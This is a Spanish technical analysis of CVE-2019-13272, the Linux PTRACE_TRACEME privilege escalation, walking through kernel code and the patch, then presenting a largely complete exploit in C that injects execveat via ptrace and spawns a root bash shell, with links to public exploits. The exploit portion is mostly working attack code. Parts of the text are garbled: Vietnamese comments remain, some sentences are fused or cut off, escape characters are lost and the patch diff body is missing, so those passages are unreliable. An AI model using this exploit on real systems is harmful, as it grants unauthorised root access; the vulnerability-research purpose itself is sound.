
Análisis en profundidad y exploit para CVE-2019-13272, una vulnerabilidad de escalada de privilegios ptrace del kernel de Linux. Incluye recorrido del código y escenario de explotación.
PTRACE_TRACEME es una vulnerabilidad de escalada de privilegios en el kernel Linux descubierta por Jann Horn en julio de 2019.
Ptrace es una llamada al sistema que proporciona un método para permitir que un proceso (tracer) pueda observar y controlar la ejecución de otro proceso (tracee), inspeccionar y modificar su imagen de núcleo y sus registros, principalmente utilizada para establecer puntos de interrupción en la depuración y seguir el proceso de las llamadas al sistema.``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);
Existen dos formas de establecer una relación de trazado:
- El proceso llamará a `fork` y su proceso hijo llamará a `PTRACE_TRACEME` (correspondiente a la función `ptrace_traceme` en el kernel) para inicializar el tracee.
- El proceso llama a `PTRACE_ATTACH` o `PTRACE_SEIZE` (correspondiente a la función `ptrace_attach` en el kernel) para inicializar un tracer y así trazar otro proceso.
Independientemente del método utilizado, la función `ptrace_link` terminará llamándose para establecer la relación de trazado entre el tracer y el tracee.
- Los dos parámetros pasados a `ptrace_link` para `ptrace_attach` son `'task'` (tracee) y `'current'` (tracer)
- Los dos parámetros pasados a `ptrace_link` para `ptrace_traceme` son `'current'` (tracee) y `'current->real_parent'` (tracer)
Aquí debemos tener en cuenta cuáles son los dos parámetros de tracer y tracee en los dos métodos anteriores al llamar a la función `ptrace_link`, porque la vulnerabilidad se encuentra en la función `ptrace_link`.``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}
void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
const struct cred *ptracer_cred)
{
BUG_ON(!list_empty(&child->ptrace_entry));
list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi
// ptraced của process cha
child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung
// vào biến này vì lỗi nằm ở đây
}
La clave para establecer la relación de trace es que el tracee registre el cred del tracer y lo almacene en la variable 'ptracer_cred' del tracee.
El concepto de 'ptracer_cred' fue introducido por un parche en 2016, ptrace: Capture the ptracer's creds not PT_PTRACE_CAP. El propósito de introducir 'ptracer_cred' es realizar una comprobación de seguridad cuando el tracee ejecuta exec para cargar un setuid executable
¿Por qué necesitamos esta comprobación de seguridad?
La familia de exec puede actualizar la imagen de un proceso. Si el setuid bit del archivo ejecutable está establecido, cuando el archivo ejecutable se ejecute, el euid del proceso se modificará al uid del propietario del archivo ejecutable. Los privilegios del proceso son mayores que los del usuario que invoca exec, y ejecutar este tipo de setuid executable tendrá un efecto de escalada (escalation).
Imaginemos que el propio proceso que ejecuta exec es un tracee. Después de ejecutar un setuid executable para escalar privilegios, su tracer puede modificar los registros y la memoria del tracee en cualquier momento; y si el tracer tiene privilegios bajos pero puede controlar a un tracee con privilegios altos, el tracer podría realizar operaciones no autorizadas a través del tracee.
Sin embargo, en el kernel parece que no se permiten tales comportamientos que exceden la autoridad. Por lo tanto, al establecer relaciones de trace, el tracee necesita almacenar el cred del tracer (es decir, ptracer_cred). Si el tracee ejecuta un proceso exec, comprobará si el bit setuid del archivo ejecutable que se va a ejecutar está establecido; si lo está, examinará los permisos de 'ptracer_cred'. Si los permisos no son suficientes, el privilegio de ejecución del bit setuid (privilegio del propietario del archivo) no se usará para realizar el exec, sino que se ejecutará con los privilegios del usuario original.
El análisis del código de este proceso es el siguiente (el análisis de código de este artículo se basa en v4.19-rc8).``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)
Las actividades relacionadas con los permisos de ejecución se encuentran principalmente en la función `prepare_binprm```` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569 int retval;
1570 loff_t pos = 0;
1571
1572 bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573
1574 /* fill in binprm security blob */
1575 retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process
1576 if (retval)
1577 return retval;
1578 bprm->called_set_creds = 1;
1579
1580 memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581 return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }
Como se indicó anteriormente, primero se llama a bprm_fill_uid para rellenar el cred del nuevo proceso y, a continuación, se llama a security_bprm_set_creds para comprobar la seguridad y modificar el nuevo cred si es necesario.``` c
1509 static void bprm_fill_uid(struct linux_binprm *bprm)
1510 {
1511 struct inode inode;
1512 unsigned int mode;
1513 kuid_t uid;
1514 kgid_t gid;
1515
1516 /
1517 * Since this can be called multiple times (via prepare_binprm),
1518 * we must clear any previous work done when setting set[ug]id
1519 * bits from any earlier bprm->file uses (for example when run
1520 * first for a setuid script then again for its interpreter).
1521 /
1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại
1523 bprm->cred->egid = current_egid();
1524
1525 if (!mnt_may_suid(bprm->file->f_path.mnt))
1526 return;
1527
1528 if (task_no_new_privs(current))
1529 return;
1530
1531 inode = bprm->file->f_path.dentry->d_inode;
1532 mode = READ_ONCE(inode->i_mode);
1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set
1534 return; // , hàm sẽ return tại đây.
1535
1536 / Be careful if suid/sgid is set /
1537 inode_lock(inode);
1538
1539 / reload atomically mode/uid/gid now that lock held /
1540 mode = inode->i_mode;
1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file
1542 gid = inode->i_gid;
1543 inode_unlock(inode);
1544
1545 / We ignore suid/sgid if there are no mappings for them in the ns */
1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
1547 !kgid_has_mapping(bprm->cred->user_ns, gid))
1548 return;
1549
1550 if (mode & S_ISUID) {
1551 bprm->per_clear |= PER_CLEAR_ON_SETID;
1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process
1553 }
1554
1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
1556 bprm->per_clear |= PER_CLEAR_ON_SETID;
1557 bprm->cred->egid = gid;
1558 }
1559 }
Mire las siguientes 2 líneas de código correspondientes al código anterior:
- Línea 1522, asigna el euid actual del proceso al nuevo euid, por lo que la mayoría de los procesos ejecutados se ejecutan con los privilegios originales.
- Línea 1552, si el bit suid está establecido, asigna el uid del propietario del archivo ejecutable al nuevo uid. Puede entenderse como setuid. El nuevo euid se convierte en el uid del propietario del archivo ejecutable; si el propietario es un usuario privilegiado, la escalada de privilegios ocurre aquí.
Sin embargo, el euid aquí no es aún el resultado final; necesitamos examinar la función `security_bprm_set_creds` para conocer más sobre la comprobación de seguridad.
La función `security_bprm_set_creds` llama al framework [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules)
En la versión del kernel que analicé, hay hasta 5 puntos de hook del framework LSM que realizan comprobaciones de seguridad de 'bprm_set_creds'. Las funciones de comprobación son las siguientes:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds
Las funciones hook que se ejecutarán aquí dependerán de la configuración de cada kernel específico. En teoría, si todos los frameworks LSM están habilitados, todas las funciones hook mencionadas anteriormente se implementarán para verificar 'bprm_set_creds'.
En mi entorno de análisis, solo se ejecutan las funciones hook cap_bprm_set_creds y selinux_bprm_set_creds.
En este caso, la función cap_bprm_set_creds desempeña el rol de cambiar el euid:``` c
815 int cap_bprm_set_creds(struct linux_binprm *bprm)
816 {
817 const struct cred *old = current_cred();
818 struct cred new = bprm->cred;
819 bool effective = false, has_fcap = false, is_setid;
820 int ret;
821 kuid_t root_uid;
===================== skip ======================
838 / Don't let someone trace a set[ug]id/setpcap binary with the revised
839 * credentials unless they have the appropriate permit.
840 *
841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
842 /
843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844
845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi
846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) ||
847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào
848 / downgrade; they get no more than they had, and maybe less */
849 if (!ns_capable(new->user_ns, CAP_SETUID) ||
850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu
852 new->egid = new->gid;
853 }
854 new->cap_permitted = cap_intersect(new->cap_permitted,
855 old->cap_permitted);
856 }
857
858 new->suid = new->fsuid = new->euid;
859 new->sgid = new->fsgid = new->egid;
===================== skip ======================
}
Como se mencionó anteriormente,
- La línea 845 comprueba si el euid es consistente con el uid original (en el análisis de la función `bprm_fill_uid` anterior, si el archivo ejecutado tiene el bit setuid establecido, el euid generalmente no será consistente) ==> Aquí también puede entenderse que equivale a detectar si el proceso ejecutado es un programa setid o no.
- La línea 847 comprobará si el proceso es un tracee o no.
Si se cumplen las dos condiciones anteriores, se debe ejecutar la función `ptracer_capable` para verificar los permisos. Si la verificación no es satisfactoria, se realizará la reducción de privilegios.
- Línea 851, cambia el valor de '*new->euid*' a '*new->uid*', lo que significa que el privilegio obtenido de la función `bprm_fill_uid` (cred) puede ser reducido aquí.``` c
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
507 rcu_read_unlock();
508 return (ret == 0);
509 }
Como arriba
La variable 'tsk->ptracer_cred' está relacionada con la vulnerabilidad que se encuentra aquí. Como se mencionó anteriormente, esta variable es el cred del tracer almacenado por el tracee cuando se establece la relación de trace.
Cuando el tracee ejecuta execve posteriormente para ejecutar un programa ejecutable suid, llama a la función ptracer_capable y utiliza el framework de seguridad en LSM para determinar los permisos de 'ptracer_cred'.
No analizaremos security_capable_noaudit en el framework LSM, pero se puede entender simplemente que si el propio tracer tiene privilegios de root, la verificación aquí pasará; de lo contrario, devolverá un error.
Según el análisis anterior, si la verificación realizada por la función ptracer_capable falla, los permisos de 'new->euid' se reducirán a los permisos originales.
Ejemplo: A aplica ptrace a B, B ejecuta execve '/usr/bin/passwd'. Según el análisis del código anterior, si A tiene privilegios de root, el euid de B al ejecutar passwd será root; de lo contrario, usará los permisos originales.``` c
kernel/ptrace.c <<ptrace_traceme>>
ptrace_link(current, current->real_parent);
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }
Volviendo al fragmento de código con la vulnerabilidad de arriba, ¿por qué traceme falla al registrar las credenciales de su padre al establecer el trace link? ¿No es evidente que en ese momento su padre es el tracer?
Utilizando el ejemplo de Jann Horn para ilustrar por qué traceme no puede usar las credenciales del tracer al establecer el trace link de esta manera.``` py
- 1, task A: fork()s a child, task B
- 2, task B: fork()s a child, task C
- 3, task B: execve(/some/special/suid/binary)
- 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship)
- 5, task C: execve(/usr/bin/passwd)
- 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
- 7, task B: become dumpable again (e.g. execve(/some/other/binary))
- 8, task A: PTRACE_ATTACH to task B
- 9, task A: use ptrace to take control of task B
- 10, task B: use ptrace to take control of task C
Hay un total de 3 procesos: A, B, C en el escenario anterior.
PTRACE_TRACEME para establecer el enlace de trace con B, como el euid de B ahora es 0 (porque acaba de ejecutar el binario suid), el euid de 'ptracer_cred' registrado por C también es 0execve(suid binary) después. Según el análisis anterior, debido a que 'ptracer_cred' de C tiene privilegios, la función ptracer_capable pasa, por lo que después de ejecutar execve, el euid de la tarea C también se eleva a 0. Nótese que el enlace de trace entre B y C sigue siendo válido en este momento.setresuid para bajar sus privilegios. El propósito de esto es proceder al attach con la tarea APTRACE_ATTACH para establecer un enlace de trace con B. Tanto A como B tienen privilegios normales, y luego A puede controlar a B para realizar cualquier operación.Los primeros 9 pasos están establecidos según el análisis de código anterior, entonces, ¿se puede establecer el paso 9?
Al ejecutar el paso 10, la propia tarea B tiene privilegios normales, la tarea C tiene privilegios root y el enlace de trace entre B y C es válido. En estas condiciones, ¿puede B enviar una solicitud ptrace para que C realice diversas operaciones, incluida la escalada de privilegios?
Analicemos esto con el código de abajo:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }
Como en el fragmento de código anterior, dado que las tareas B y C ya tienen trace links en este momento, la solicitud ptrace puede enviarse directamente a C a través de B, a partir de lo cual se llamará a la función `arch_ptrace`.``` c
arch/x86/kernel/ptrace.c
arch_ptrace
-> ptrace_request
-> generic_ptrace_peekdata
generic_ptrace_pokedata
-> ptrace_access_vm
-> ptracer_capable
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885 unsigned long addr, unsigned long data)
886 {
887 bool seized = child->ptrace & PT_SEIZED;
888 int ret = -EIO;
889 siginfo_t siginfo, *si;
890 void __user *datavp = (void __user *) data;
891 unsigned long __user *datalp = datavp;
892 unsigned long flags;
893
894 switch (request) {
895 case PTRACE_PEEKTEXT:
896 case PTRACE_PEEKDATA:
897 return generic_ptrace_peekdata(child, addr, data);
898 case PTRACE_POKETEXT:
899 case PTRACE_POKEDATA:
900 return generic_ptrace_pokedata(child, addr, data);
901
=================== skip ================
1105 }
1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157 unsigned long data)
1158 {
1159 unsigned long tmp;
1160 int copied;
1161
1162 copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163 if (copied != sizeof(tmp))
1164 return -EIO;
1165 return put_user(tmp, (unsigned long __user *)data);
1166 }
1167
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169 unsigned long data)
1170 {
1171 int copied;
1172
1173 copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174 FOLL_FORCE | FOLL_WRITE);
1175 return (copied == sizeof(data)) ? 0 : -EIO;
1176 }
Cuando el tracer quiere controlar que el tracee ejecute nueva lógica de código, necesita enviar solicitudes de lectura y escritura a la región de código y a la región de memoria del tracee. Las solicitudes correspondientes son las funciones PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA.
Estas operaciones de lectura y escritura se realizan finalmente a través de la función ptrace_access_vm.``` c
kernel/ptrace.c
38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
39 void *buf, int len, unsigned int gup_flags)
40 {
41 struct mm_struct *mm;
42 int ret;
43
44 mm = get_task_mm(tsk);
45 if (!mm)
46 return 0;
47
48 if (!tsk->ptrace ||
49 (current != tsk->parent) ||
50 ((get_dumpable(mm) != SUID_DUMP_USER) &&
51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa.
52 mmput(mm);
53 return 0;
54 }
55
56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
57 mmput(mm);
58
59 return ret;
60 }
kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }
Al observar el fragmento de código anterior, podemos ver que la función `ptrace_access_vm` llama a la función `ptracer_capable` que analizamos anteriormente para determinar si su solicitud puede llevarse a cabo.
Según el análisis anterior, '*ptracer_cred*' almacenado en la task C en este momento es un cred con privilegios, por lo que `ptracer_capable` pasará en este momento, lo que significa que la pregunta anterior ya ha sido respondida. En este caso, la task B con privilegios normales puede usar ptrace para enviar solicitudes de lectura y escritura a las regiones de memoria y de código de la task C con privilegios root.
En este punto, el privilegio '*ptracer_cred*' es ejercido por la task C en dos casos:
- La task C ejecuta `execve(suid binary)` para elevar privilegios
- La task B con privilegios normales puede ejecutar ptrace para leer y escribir en las regiones de código y memoria de la task C, controlando así a la task C para que realice operaciones arbitrarias
¿La combinación de los dos roles anteriores constituye una actividad de escalada de privilegios completa?
Antes de responder a la pregunta anterior, veamos cómo se explota y se parchea esta vulnerabilidad.
# Resumen del parche de la vulnerabilidad PTRACE_TRACEME```
PTRACE_TRACEME records the parent's credentials as if the parent was
acting as the subject, but that's not the case. If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.
En esencia, esta vulnerabilidad es algo similar a una vulnerabilidad de tipo TOCTOU. Al obtener 'ptracer_cred' en la fase traceme y al usar 'ptracer_cred' en la fase siguiente en la siguiente solicitud ptrace, el cred del tracer puede no ser el cred original sino el cred del momento del enlace (es decir, se reasigna dentro de la función ptrace_link).``` diff
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
Veamos el parche: '*\_\_task_cred(new_parent)*' reemplazado por '*current_cred()*'
El parche señala que cuando se ejecuta PTRACE_TRACEME, '*ptracer_cred*' no usa las credenciales del proceso padre, sino las suyas propias.
# Exploit
La clave para explotar esta vulnerabilidad es encontrar un ejecutable adecuado para iniciar la tarea B. Este ejecutable debe cumplir las siguientes condiciones:
- Que un usuario normal pueda invocarlo
- Que tenga una fase de escalada de privilegios a root durante la ejecución
- Que, después de obtener root, pueda bajar de privilegios.
(El propósito de escalar temporalmente a root es permitir que la tarea C obtenga el ptracer_cred de root, y el propósito de bajar de privilegios es permitir que B sea adjuntada por un proceso con privilegios ptrace normales))
Aquí hay 3 ejemplos de código para explotar:
- [Exploit de Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit de Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit de Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)
En el [exploit de Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217), el programa [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) disponible en el sistema (en la versión de escritorio) se usa para iniciar la tarea B.
[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) permite a un usuario con privilegios ejecutar otro programa con los derechos de otro usuario; se utiliza en el framework de autenticación de polkit. Al usar el parámetro `--user`, permite que el proceso eleve sus privilegios a root y luego baje al usuario especificado, por lo que puede usarse para construir la tarea B. Además, necesitamos buscar más ejecutables que se ejecuten a través del framework polkit (Jann Horn usa helpers). Estos programas deben cumplir que un usuario normal pueda ejecutarlos con pkexec sin necesidad de autenticarse (muchos programas ejecutados mediante polkit requieren autenticación a través de una ventana emergente); la forma de ejecutarlos es la siguiente:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary
El Exploit de Bcoles añade código para buscar binarios helper adicionales, basándose en el de Jann Horn. Debido a que el helper de Jann Horn es un programa hard-coded, no existe en muchas distribuciones de Linux, por lo que su exploit no puede usarse en muchos sistemas de distribución. En cambio, el código del exploit de Bcoles puede ejecutarse con éxito en más distribuciones.
Para fines de investigación, hablaré sobre el exploit de Jiayy, porque los binarios helper de las distintas distribuciones son diferentes y pkexec solo está presente en distribuciones de escritorio; de hecho, esta vulnerabilidad de escalada de privilegios es una vulnerabilidad del kernel de Linux. Por ello, el exploit de Jann Horn se modifica para escalar privilegios mediante dos programas creados manualmente, fakepkexec y fakehelper (en lugar de buscarlos en el sistema objetivo), de modo que el lector pueda ejecutar este exploit en cualquier sistema Linux con esta vulnerabilidad (incluidos los que no son de escritorio) con fines de investigación.
Veamos el código del exploit a continuación:``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }
Primero, mire la línea 186, la llamada a la función clone para crear un proceso hijo (task B), task B ejecutará la función middle_main.``` c
64 static int middle_main(void *dummy) {
65 prctl(PR_SET_PDEATHSIG, SIGKILL);
66 pid_t middle = getpid();
67
68 self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69
70 pid_t child = SAFE(fork());
71 if (child == 0) {
72 prctl(PR_SET_PDEATHSIG, SIGKILL);
73
74 SAFE(dup2(self_fd, 42));
75
76 /* spin until our parent becomes privileged (have to be fast here) */
77 int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78 char *needle = tprintf("nUid:t%dt0t", getuid());
79 while (1) {
80 char buf[1000];
81 ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82 buf[buflen] = '';
83 if (strstr(buf, needle)) break;
84 }
85
86 /*
87 * this is where the bug is triggered.
88 * while our parent is in the middle of pkexec, we force it to become our
89 * tracer, with pkexec's creds as ptracer_cred.
90 */
91 SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92
93 /*
94 * now we execute passwd. because the ptrace relationship is considered to
95 * be privileged, this is a proper suid execution despite the attached
96 * tracer, not a degraded one.
97 * at the end of execve(), this process receives a SIGTRAP from ptrace.
98 */
99 puts("executing passwd");
100 execl("/usr/bin/passwd", "passwd", NULL);
101 err(1, "execl passwd");
102 }
103
104 SAFE(dup2(self_fd, 0));
105 SAFE(dup2(block_pipe[1], 1));
106
107 struct passwd *pw = getpwuid(getuid());
108 if (pw == NULL) err(1, "getpwuid");
109
110 middle_success = 1;
111 execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112 middle_success = 0;
113 err(1, "execl pkexec");
114 }
En la línea 70, se llama a la función fork para crear un proceso nieto (task C).
Luego, en la línea 111, la tarea B ejecuta fakepkexec para elevar privilegios y luego reducirlos.
A continuación, observe las líneas 76 a 84: después de que la tarea C detecta que el euid de la tarea B se convierte en 0, ejecuta la línea 91 para realizar la operación PTRACE_TRACEME y obtener el ptracer_cred de root, e inmediatamente después ejecuta executel para ejecutar el binario suid y hacer que su euid sea 0.``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;
A continuación, volviendo a la función main de la tarea A, en las líneas 194 a 202, la tarea A comprueba si el archivo comm de la tarea B ya se ha convertido en helper; si es así, ejecutará la línea 213 para invocar la función force_exec_and_wait.``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117 struct user_regs_struct regs;
118 struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
119 SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120 SAFE(waitpid(pid, &dummy_status, 0));
121 SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122
123 /* set up indirect arguments */
124 unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125 struct injected_page {
126 unsigned long argv[2];
127 unsigned long envv[1];
128 char arg0[8];
129 char path[1];
130 } ipage = {
131 .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132 };
133 strcpy(ipage.arg0, arg0);
134 for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135 unsigned long pdata = ((unsigned long *)&ipage)[i];
136 SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137 (void*)pdata));
138 }
139
140 /* execveat(exec_fd, path, argv, envv, flags) */
141 regs.orig_rax = __NR_execveat;
142 regs.rdi = exec_fd;
143 regs.rsi = scratch_area + offsetof(struct injected_page, path);
144 regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145 regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146 regs.r8 = AT_EMPTY_PATH;
147
148 SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149 SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150 SAFE(waitpid(pid, &dummy_status, 0));
151 }
La función de force_exec_and_wait es usar ptrace para controlar al tracee para que ejecute la función execveat y reemplace la imagen del proceso; aquí controla que el task B ejecute el proceso del task A (es decir, el programa ejecutable del exploit - archivo binario del exploit) con el parámetro stage2 para que el task B ejecute la función middle_stage2``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();
La función `middle_stage2` también llama a `force_exec_and_wait`, lo que hará que la tarea B use `ptrace` para controlar a la tarea C y ejecute `execveat`, reemplazando la imagen de la tarea C con el binario del exploit y el parámetro `stage3`.``` c
153 static int middle_stage2(void) {
154 /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155 pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156 force_exec_and_wait(child, 42, "stage3");
157 return 0;
158 }
Cuando el archivo binario de exploit se ejecuta con el parámetro stage3, ejecutará la función spawn_shell, por lo que la etapa final de la tarea C es ejecutar spawn_shell.``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }
En la función `spawn_shell`, primero usa `setresgid`/`setresuid` para cambiar el real uid/effective uid/save uid del proceso a root. Debido a que la tarea C acaba de ejecutar un binario suid y cambió su propio euid a root, por lo tanto aquí `setresuid`/`setresgid` pueden ejecutarse con éxito. En este momento, la tarea C se ha convertido en un proceso root completo. Finalmente, ejecuta `execlp` para abrir una shell, y esta shell tendrá todos los privilegios de root.``` go
forks forks
+------proc_A -----------> proc_B ------------> proc_C
| | | |
| Wait B | |
| And attach | |
| Execve stage 2 in B | |
+-------+-------------------+--------------------+
stage 1 | pkexec get privileged tracer
| | | |
| | | |
| | Unprivileged exec SUID binary,
| | Traced by A become privileged, SIGTRAPed
+-------+-------------------+--------------------+
| | | |
stage 2 | Wait C, |
| | Execve stage3 in C |
| | | |
+-------+-------------------+--------------------+
| | | |
| | | |
stage 3 | | setresuid to 0, 0, 0
| | | |
